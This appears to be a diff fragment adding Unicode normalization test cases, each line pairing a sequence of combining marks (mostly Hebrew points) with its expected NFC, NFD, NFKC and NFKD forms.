+{ source: [0x0061, 0x059F, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x059F, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x059F, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x059F, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x059F, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x05A0, 0x0062], NFC: [0x00E0, 0x05AE, 0x05A0, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x05A0, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x05A0, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x05A0, 0x0315, 0x0062] },
+{ source: [0x0061, 0x05A0, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x05A0, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x05A0, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x05A0, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x05A0, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x05A1, 0x0062], NFC: [0x00E0, 0x05AE, 0x05A1, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x05A1, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x05A1, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x05A1, 0x0315, 0x0062] },
+{ source: [0x0061, 0x05A1, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x05A1, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x05A1, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x05A1, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x05A1, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x05A2, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x05A2, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x05A2, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x05A2, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x05A2, 0x059A, 0x0062] },
+{ source: [0x0061, 0x05A2, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x05A2, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x05A2, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x05A2, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x05A2, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x05A3, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x05A3, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x05A3, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x05A3, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x05A3, 0x059A, 0x0062] },
+{ source: [0x0061, 0x05A3, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x05A3, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x05A3, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x05A3, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x05A3, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x05A4, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x05A4, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x05A4, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x05A4, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x05A4, 0x059A, 0x0062] },
+{ source: [0x0061, 0x05A4, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x05A4, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x05A4, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x05A4, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x05A4, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x05A5, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x05A5, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x05A5, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x05A5, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x05A5, 0x059A, 0x0062] },
+{ source: [0x0061, 0x05A5, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x05A5, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x05A5, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x05A5, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x05A5, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x05A6, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x05A6, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x05A6, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x05A6, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x05A6, 0x059A, 0x0062] },
+{ source: [0x0061, 0x05A6, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x05A6, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x05A6, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x05A6, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x05A6, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x05A7, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x05A7, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x05A7, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x05A7, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x05A7, 0x059A, 0x0062] },
+{ source: [0x0061, 0x05A7, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x05A7, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x05A7, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x05A7, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x05A7, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x05A8, 0x0062], NFC: [0x00E0, 0x05AE, 0x05A8, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x05A8, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x05A8, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x05A8, 0x0315, 0x0062] },
+{ source: [0x0061, 0x05A8, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x05A8, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x05A8, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x05A8, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x05A8, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x05A9, 0x0062], NFC: [0x00E0, 0x05AE, 0x05A9, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x05A9, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x05A9, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x05A9, 0x0315, 0x0062] },
+{ source: [0x0061, 0x05A9, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x05A9, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x05A9, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x05A9, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x05A9, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x05AA, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x05AA, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x05AA, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x05AA, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x05AA, 0x059A, 0x0062] },
+{ source: [0x0061, 0x05AA, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x05AA, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x05AA, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x05AA, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x05AA, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x05AB, 0x0062], NFC: [0x00E0, 0x05AE, 0x05AB, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x05AB, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x05AB, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x05AB, 0x0315, 0x0062] },
+{ source: [0x0061, 0x05AB, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x05AB, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x05AB, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x05AB, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x05AB, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x05AC, 0x0062], NFC: [0x00E0, 0x05AE, 0x05AC, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x05AC, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x05AC, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x05AC, 0x0315, 0x0062] },
+{ source: [0x0061, 0x05AC, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x05AC, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x05AC, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x05AC, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x05AC, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x302E, 0x059A, 0x0316, 0x05AD, 0x0062], NFC: [0x0061, 0x0316, 0x059A, 0x05AD, 0x302E, 0x0062], NFD: [0x0061, 0x0316, 0x059A, 0x05AD, 0x302E, 0x0062], NFKC: [0x0061, 0x0316, 0x059A, 0x05AD, 0x302E, 0x0062], NFKD: [0x0061, 0x0316, 0x059A, 0x05AD, 0x302E, 0x0062] },
+{ source: [0x0061, 0x05AD, 0x302E, 0x059A, 0x0316, 0x0062], NFC: [0x0061, 0x0316, 0x05AD, 0x059A, 0x302E, 0x0062], NFD: [0x0061, 0x0316, 0x05AD, 0x059A, 0x302E, 0x0062], NFKC: [0x0061, 0x0316, 0x05AD, 0x059A, 0x302E, 0x0062], NFKD: [0x0061, 0x0316, 0x05AD, 0x059A, 0x302E, 0x0062] },
+{ source: [0x0061, 0x0300, 0x05AE, 0x1D16D, 0x05AE, 0x0062], NFC: [0x00E0, 0x1D16D, 0x05AE, 0x05AE, 0x0062], NFD: [0x0061, 0x1D16D, 0x05AE, 0x05AE, 0x0300, 0x0062], NFKC: [0x00E0, 0x1D16D, 0x05AE, 0x05AE, 0x0062], NFKD: [0x0061, 0x1D16D, 0x05AE, 0x05AE, 0x0300, 0x0062] },
+{ source: [0x0061, 0x05AE, 0x0300, 0x05AE, 0x1D16D, 0x0062], NFC: [0x00E0, 0x1D16D, 0x05AE, 0x05AE, 0x0062], NFD: [0x0061, 0x1D16D, 0x05AE, 0x05AE, 0x0300, 0x0062], NFKC: [0x00E0, 0x1D16D, 0x05AE, 0x05AE, 0x0062], NFKD: [0x0061, 0x1D16D, 0x05AE, 0x05AE, 0x0300, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x05AF, 0x0062], NFC: [0x00E0, 0x05AE, 0x05AF, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x05AF, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x05AF, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x05AF, 0x0315, 0x0062] },
+{ source: [0x0061, 0x05AF, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x05AF, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x05AF, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x05AF, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x05AF, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x05B1, 0x05B0, 0x094D, 0x05B0, 0x0062], NFC: [0x0061, 0x094D, 0x05B0, 0x05B0, 0x05B1, 0x0062], NFD: [0x0061, 0x094D, 0x05B0, 0x05B0, 0x05B1, 0x0062], NFKC: [0x0061, 0x094D, 0x05B0, 0x05B0, 0x05B1, 0x0062], NFKD: [0x0061, 0x094D, 0x05B0, 0x05B0, 0x05B1, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x05B1, 0x05B0, 0x094D, 0x0062], NFC: [0x0061, 0x094D, 0x05B0, 0x05B0, 0x05B1, 0x0062], NFD: [0x0061, 0x094D, 0x05B0, 0x05B0, 0x05B1, 0x0062], NFKC: [0x0061, 0x094D, 0x05B0, 0x05B0, 0x05B1, 0x0062], NFKD: [0x0061, 0x094D, 0x05B0, 0x05B0, 0x05B1, 0x0062] },
+{ source: [0x0061, 0x05B2, 0x05B1, 0x05B0, 0x05B1, 0x0062], NFC: [0x0061, 0x05B0, 0x05B1, 0x05B1, 0x05B2, 0x0062], NFD: [0x0061, 0x05B0, 0x05B1, 0x05B1, 0x05B2, 0x0062], NFKC: [0x0061, 0x05B0, 0x05B1, 0x05B1, 0x05B2, 0x0062], NFKD: [0x0061, 0x05B0, 0x05B1, 0x05B1, 0x05B2, 0x0062] },
+{ source: [0x0061, 0x05B1, 0x05B2, 0x05B1, 0x05B0, 0x0062], NFC: [0x0061, 0x05B0, 0x05B1, 0x05B1, 0x05B2, 0x0062], NFD: [0x0061, 0x05B0, 0x05B1, 0x05B1, 0x05B2, 0x0062], NFKC: [0x0061, 0x05B0, 0x05B1, 0x05B1, 0x05B2, 0x0062], NFKD: [0x0061, 0x05B0, 0x05B1, 0x05B1, 0x05B2, 0x0062] },
+{ source: [0x0061, 0x05B3, 0x05B2, 0x05B1, 0x05B2, 0x0062], NFC: [0x0061, 0x05B1, 0x05B2, 0x05B2, 0x05B3, 0x0062], NFD: [0x0061, 0x05B1, 0x05B2, 0x05B2, 0x05B3, 0x0062], NFKC: [0x0061, 0x05B1, 0x05B2, 0x05B2, 0x05B3, 0x0062], NFKD: [0x0061, 0x05B1, 0x05B2, 0x05B2, 0x05B3, 0x0062] },
+{ source: [0x0061, 0x05B2, 0x05B3, 0x05B2, 0x05B1, 0x0062], NFC: [0x0061, 0x05B1, 0x05B2, 0x05B2, 0x05B3, 0x0062], NFD: [0x0061, 0x05B1, 0x05B2, 0x05B2, 0x05B3, 0x0062], NFKC: [0x0061, 0x05B1, 0x05B2, 0x05B2, 0x05B3, 0x0062], NFKD: [0x0061, 0x05B1, 0x05B2, 0x05B2, 0x05B3, 0x0062] },
+{ source: [0x0061, 0x05B4, 0x05B3, 0x05B2, 0x05B3, 0x0062], NFC: [0x0061, 0x05B2, 0x05B3, 0x05B3, 0x05B4, 0x0062], NFD: [0x0061, 0x05B2, 0x05B3, 0x05B3, 0x05B4, 0x0062], NFKC: [0x0061, 0x05B2, 0x05B3, 0x05B3, 0x05B4, 0x0062], NFKD: [0x0061, 0x05B2, 0x05B3, 0x05B3, 0x05B4, 0x0062] },
+{ source: [0x0061, 0x05B3, 0x05B4, 0x05B3, 0x05B2, 0x0062], NFC: [0x0061, 0x05B2, 0x05B3, 0x05B3, 0x05B4, 0x0062], NFD: [0x0061, 0x05B2, 0x05B3, 0x05B3, 0x05B4, 0x0062], NFKC: [0x0061, 0x05B2, 0x05B3, 0x05B3, 0x05B4, 0x0062], NFKD: [0x0061, 0x05B2, 0x05B3, 0x05B3, 0x05B4, 0x0062] },
+{ source: [0x0061, 0x05B5, 0x05B4, 0x05B3, 0x05B4, 0x0062], NFC: [0x0061, 0x05B3, 0x05B4, 0x05B4, 0x05B5, 0x0062], NFD: [0x0061, 0x05B3, 0x05B4, 0x05B4, 0x05B5, 0x0062], NFKC: [0x0061, 0x05B3, 0x05B4, 0x05B4, 0x05B5, 0x0062], NFKD: [0x0061, 0x05B3, 0x05B4, 0x05B4, 0x05B5, 0x0062] },
+{ source: [0x0061, 0x05B4, 0x05B5, 0x05B4, 0x05B3, 0x0062], NFC: [0x0061, 0x05B3, 0x05B4, 0x05B4, 0x05B5, 0x0062], NFD: [0x0061, 0x05B3, 0x05B4, 0x05B4, 0x05B5, 0x0062], NFKC: [0x0061, 0x05B3, 0x05B4, 0x05B4, 0x05B5, 0x0062], NFKD: [0x0061, 0x05B3, 0x05B4, 0x05B4, 0x05B5, 0x0062] },
+{ source: [0x0061, 0x05B6, 0x05B5, 0x05B4, 0x05B5, 0x0062], NFC: [0x0061, 0x05B4, 0x05B5, 0x05B5, 0x05B6, 0x0062], NFD: [0x0061, 0x05B4, 0x05B5, 0x05B5, 0x05B6, 0x0062], NFKC: [0x0061, 0x05B4, 0x05B5, 0x05B5, 0x05B6, 0x0062], NFKD: [0x0061, 0x05B4, 0x05B5, 0x05B5, 0x05B6, 0x0062] },
+{ source: [0x0061, 0x05B5, 0x05B6, 0x05B5, 0x05B4, 0x0062], NFC: [0x0061, 0x05B4, 0x05B5, 0x05B5, 0x05B6, 0x0062], NFD: [0x0061, 0x05B4, 0x05B5, 0x05B5, 0x05B6, 0x0062], NFKC: [0x0061, 0x05B4, 0x05B5, 0x05B5, 0x05B6, 0x0062], NFKD: [0x0061, 0x05B4, 0x05B5, 0x05B5, 0x05B6, 0x0062] },
+{ source: [0x0061, 0x05B7, 0x05B6, 0x05B5, 0x05B6, 0x0062], NFC: [0x0061, 0x05B5, 0x05B6, 0x05B6, 0x05B7, 0x0062], NFD: [0x0061, 0x05B5, 0x05B6, 0x05B6, 0x05B7, 0x0062], NFKC: [0x0061, 0x05B5, 0x05B6, 0x05B6, 0x05B7, 0x0062], NFKD: [0x0061, 0x05B5, 0x05B6, 0x05B6, 0x05B7, 0x0062] },
+{ source: [0x0061, 0x05B6, 0x05B7, 0x05B6, 0x05B5, 0x0062], NFC: [0x0061, 0x05B5, 0x05B6, 0x05B6, 0x05B7, 0x0062], NFD: [0x0061, 0x05B5, 0x05B6, 0x05B6, 0x05B7, 0x0062], NFKC: [0x0061, 0x05B5, 0x05B6, 0x05B6, 0x05B7, 0x0062], NFKD: [0x0061, 0x05B5, 0x05B6, 0x05B6, 0x05B7, 0x0062] },
+{ source: [0x0061, 0x05B8, 0x05B7, 0x05B6, 0x05B7, 0x0062], NFC: [0x0061, 0x05B6, 0x05B7, 0x05B7, 0x05B8, 0x0062], NFD: [0x0061, 0x05B6, 0x05B7, 0x05B7, 0x05B8, 0x0062], NFKC: [0x0061, 0x05B6, 0x05B7, 0x05B7, 0x05B8, 0x0062], NFKD: [0x0061, 0x05B6, 0x05B7, 0x05B7, 0x05B8, 0x0062] },
+{ source: [0x0061, 0x05B7, 0x05B8, 0x05B7, 0x05B6, 0x0062], NFC: [0x0061, 0x05B6, 0x05B7, 0x05B7, 0x05B8, 0x0062], NFD: [0x0061, 0x05B6, 0x05B7, 0x05B7, 0x05B8, 0x0062], NFKC: [0x0061, 0x05B6, 0x05B7, 0x05B7, 0x05B8, 0x0062], NFKD: [0x0061, 0x05B6, 0x05B7, 0x05B7, 0x05B8, 0x0062] },
+{ source: [0x0061, 0x05B9, 0x05B8, 0x05B7, 0x05B8, 0x0062], NFC: [0x0061, 0x05B7, 0x05B8, 0x05B8, 0x05B9, 0x0062], NFD: [0x0061, 0x05B7, 0x05B8, 0x05B8, 0x05B9, 0x0062], NFKC: [0x0061, 0x05B7, 0x05B8, 0x05B8, 0x05B9, 0x0062], NFKD: [0x0061, 0x05B7, 0x05B8, 0x05B8, 0x05B9, 0x0062] },
+{ source: [0x0061, 0x05B8, 0x05B9, 0x05B8, 0x05B7, 0x0062], NFC: [0x0061, 0x05B7, 0x05B8, 0x05B8, 0x05B9, 0x0062], NFD: [0x0061, 0x05B7, 0x05B8, 0x05B8, 0x05B9, 0x0062], NFKC: [0x0061, 0x05B7, 0x05B8, 0x05B8, 0x05B9, 0x0062], NFKD: [0x0061, 0x05B7, 0x05B8, 0x05B8, 0x05B9, 0x0062] },
+{ source: [0x0061, 0x05BB, 0x05B9, 0x05B8, 0x05B9, 0x0062], NFC: [0x0061, 0x05B8, 0x05B9, 0x05B9, 0x05BB, 0x0062], NFD: [0x0061, 0x05B8, 0x05B9, 0x05B9, 0x05BB, 0x0062], NFKC: [0x0061, 0x05B8, 0x05B9, 0x05B9, 0x05BB, 0x0062], NFKD: [0x0061, 0x05B8, 0x05B9, 0x05B9, 0x05BB, 0x0062] },
+{ source: [0x0061, 0x05B9, 0x05BB, 0x05B9, 0x05B8, 0x0062], NFC: [0x0061, 0x05B8, 0x05B9, 0x05B9, 0x05BB, 0x0062], NFD: [0x0061, 0x05B8, 0x05B9, 0x05B9, 0x05BB, 0x0062], NFKC: [0x0061, 0x05B8, 0x05B9, 0x05B9, 0x05BB, 0x0062], NFKD: [0x0061, 0x05B8, 0x05B9, 0x05B9, 0x05BB, 0x0062] },
+{ source: [0x0061, 0x05BB, 0x05B9, 0x05B8, 0x05BA, 0x0062], NFC: [0x0061, 0x05B8, 0x05B9, 0x05BA, 0x05BB, 0x0062], NFD: [0x0061, 0x05B8, 0x05B9, 0x05BA, 0x05BB, 0x0062], NFKC: [0x0061, 0x05B8, 0x05B9, 0x05BA, 0x05BB, 0x0062], NFKD: [0x0061, 0x05B8, 0x05B9, 0x05BA, 0x05BB, 0x0062] },
+{ source: [0x0061, 0x05BA, 0x05BB, 0x05B9, 0x05B8, 0x0062], NFC: [0x0061, 0x05B8, 0x05BA, 0x05B9, 0x05BB, 0x0062], NFD: [0x0061, 0x05B8, 0x05BA, 0x05B9, 0x05BB, 0x0062], NFKC: [0x0061, 0x05B8, 0x05BA, 0x05B9, 0x05BB, 0x0062], NFKD: [0x0061, 0x05B8, 0x05BA, 0x05B9, 0x05BB, 0x0062] },
+{ source: [0x0061, 0x05BC, 0x05BB, 0x05B9, 0x05BB, 0x0062], NFC: [0x0061, 0x05B9, 0x05BB, 0x05BB, 0x05BC, 0x0062], NFD: [0x0061, 0x05B9, 0x05BB, 0x05BB, 0x05BC, 0x0062], NFKC: [0x0061, 0x05B9, 0x05BB, 0x05BB, 0x05BC, 0x0062], NFKD: [0x0061, 0x05B9, 0x05BB, 0x05BB, 0x05BC, 0x0062] },
+{ source: [0x0061, 0x05BB, 0x05BC, 0x05BB, 0x05B9, 0x0062], NFC: [0x0061, 0x05B9, 0x05BB, 0x05BB, 0x05BC, 0x0062], NFD: [0x0061, 0x05B9, 0x05BB, 0x05BB, 0x05BC, 0x0062], NFKC: [0x0061, 0x05B9, 0x05BB, 0x05BB, 0x05BC, 0x0062], NFKD: [0x0061, 0x05B9, 0x05BB, 0x05BB, 0x05BC, 0x0062] },
+{ source: [0x0061, 0x05BD, 0x05BC, 0x05BB, 0x05BC, 0x0062], NFC: [0x0061, 0x05BB, 0x05BC, 0x05BC, 0x05BD, 0x0062], NFD: [0x0061, 0x05BB, 0x05BC, 0x05BC, 0x05BD, 0x0062], NFKC: [0x0061, 0x05BB, 0x05BC, 0x05BC, 0x05BD, 0x0062], NFKD: [0x0061, 0x05BB, 0x05BC, 0x05BC, 0x05BD, 0x0062] },
+{ source: [0x0061, 0x05BC, 0x05BD, 0x05BC, 0x05BB, 0x0062], NFC: [0x0061, 0x05BB, 0x05BC, 0x05BC, 0x05BD, 0x0062], NFD: [0x0061, 0x05BB, 0x05BC, 0x05BC, 0x05BD, 0x0062], NFKC: [0x0061, 0x05BB, 0x05BC, 0x05BC, 0x05BD, 0x0062], NFKD: [0x0061, 0x05BB, 0x05BC, 0x05BC, 0x05BD, 0x0062] },
+{ source: [0x0061, 0x05BF, 0x05BD, 0x05BC, 0x05BD, 0x0062], NFC: [0x0061, 0x05BC, 0x05BD, 0x05BD, 0x05BF, 0x0062], NFD: [0x0061, 0x05BC, 0x05BD, 0x05BD, 0x05BF, 0x0062], NFKC: [0x0061, 0x05BC, 0x05BD, 0x05BD, 0x05BF, 0x0062], NFKD: [0x0061, 0x05BC, 0x05BD, 0x05BD, 0x05BF, 0x0062] },
+{ source: [0x0061, 0x05BD, 0x05BF, 0x05BD, 0x05BC, 0x0062], NFC: [0x0061, 0x05BC, 0x05BD, 0x05BD, 0x05BF, 0x0062], NFD: [0x0061, 0x05BC, 0x05BD, 0x05BD, 0x05BF, 0x0062], NFKC: [0x0061, 0x05BC, 0x05BD, 0x05BD, 0x05BF, 0x0062], NFKD: [0x0061, 0x05BC, 0x05BD, 0x05BD, 0x05BF, 0x0062] },
+{ source: [0x0061, 0x05C1, 0x05BF, 0x05BD, 0x05BF, 0x0062], NFC: [0x0061, 0x05BD, 0x05BF, 0x05BF, 0x05C1, 0x0062], NFD: [0x0061, 0x05BD, 0x05BF, 0x05BF, 0x05C1, 0x0062], NFKC: [0x0061, 0x05BD, 0x05BF, 0x05BF, 0x05C1, 0x0062], NFKD: [0x0061, 0x05BD, 0x05BF, 0x05BF, 0x05C1, 0x0062] },
+{ source: [0x0061, 0x05BF, 0x05C1, 0x05BF, 0x05BD, 0x0062], NFC: [0x0061, 0x05BD, 0x05BF, 0x05BF, 0x05C1, 0x0062], NFD: [0x0061, 0x05BD, 0x05BF, 0x05BF, 0x05C1, 0x0062], NFKC: [0x0061, 0x05BD, 0x05BF, 0x05BF, 0x05C1, 0x0062], NFKD: [0x0061, 0x05BD, 0x05BF, 0x05BF, 0x05C1, 0x0062] },
+{ source: [0x0061, 0x05C2, 0x05C1, 0x05BF, 0x05C1, 0x0062], NFC: [0x0061, 0x05BF, 0x05C1, 0x05C1, 0x05C2, 0x0062], NFD: [0x0061, 0x05BF, 0x05C1, 0x05C1, 0x05C2, 0x0062], NFKC: [0x0061, 0x05BF, 0x05C1, 0x05C1, 0x05C2, 0x0062], NFKD: [0x0061, 0x05BF, 0x05C1, 0x05C1, 0x05C2, 0x0062] },
+{ source: [0x0061, 0x05C1, 0x05C2, 0x05C1, 0x05BF, 0x0062], NFC: [0x0061, 0x05BF, 0x05C1, 0x05C1, 0x05C2, 0x0062], NFD: [0x0061, 0x05BF, 0x05C1, 0x05C1, 0x05C2, 0x0062], NFKC: [0x0061, 0x05BF, 0x05C1, 0x05C1, 0x05C2, 0x0062], NFKD: [0x0061, 0x05BF, 0x05C1, 0x05C1, 0x05C2, 0x0062] },
+{ source: [0x0061, 0xFB1E, 0x05C2, 0x05C1, 0x05C2, 0x0062], NFC: [0x0061, 0x05C1, 0x05C2, 0x05C2, 0xFB1E, 0x0062], NFD: [0x0061, 0x05C1, 0x05C2, 0x05C2, 0xFB1E, 0x0062], NFKC: [0x0061, 0x05C1, 0x05C2, 0x05C2, 0xFB1E, 0x0062], NFKD: [0x0061, 0x05C1, 0x05C2, 0x05C2, 0xFB1E, 0x0062] },
+{ source: [0x0061, 0x05C2, 0xFB1E, 0x05C2, 0x05C1, 0x0062], NFC: [0x0061, 0x05C1, 0x05C2, 0x05C2, 0xFB1E, 0x0062], NFD: [0x0061, 0x05C1, 0x05C2, 0x05C2, 0xFB1E, 0x0062], NFKC: [0x0061, 0x05C1, 0x05C2, 0x05C2, 0xFB1E, 0x0062], NFKD: [0x0061, 0x05C1, 0x05C2, 0x05C2, 0xFB1E, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x05C4, 0x0062], NFC: [0x00E0, 0x05AE, 0x05C4, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x05C4, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x05C4, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x05C4, 0x0315, 0x0062] },
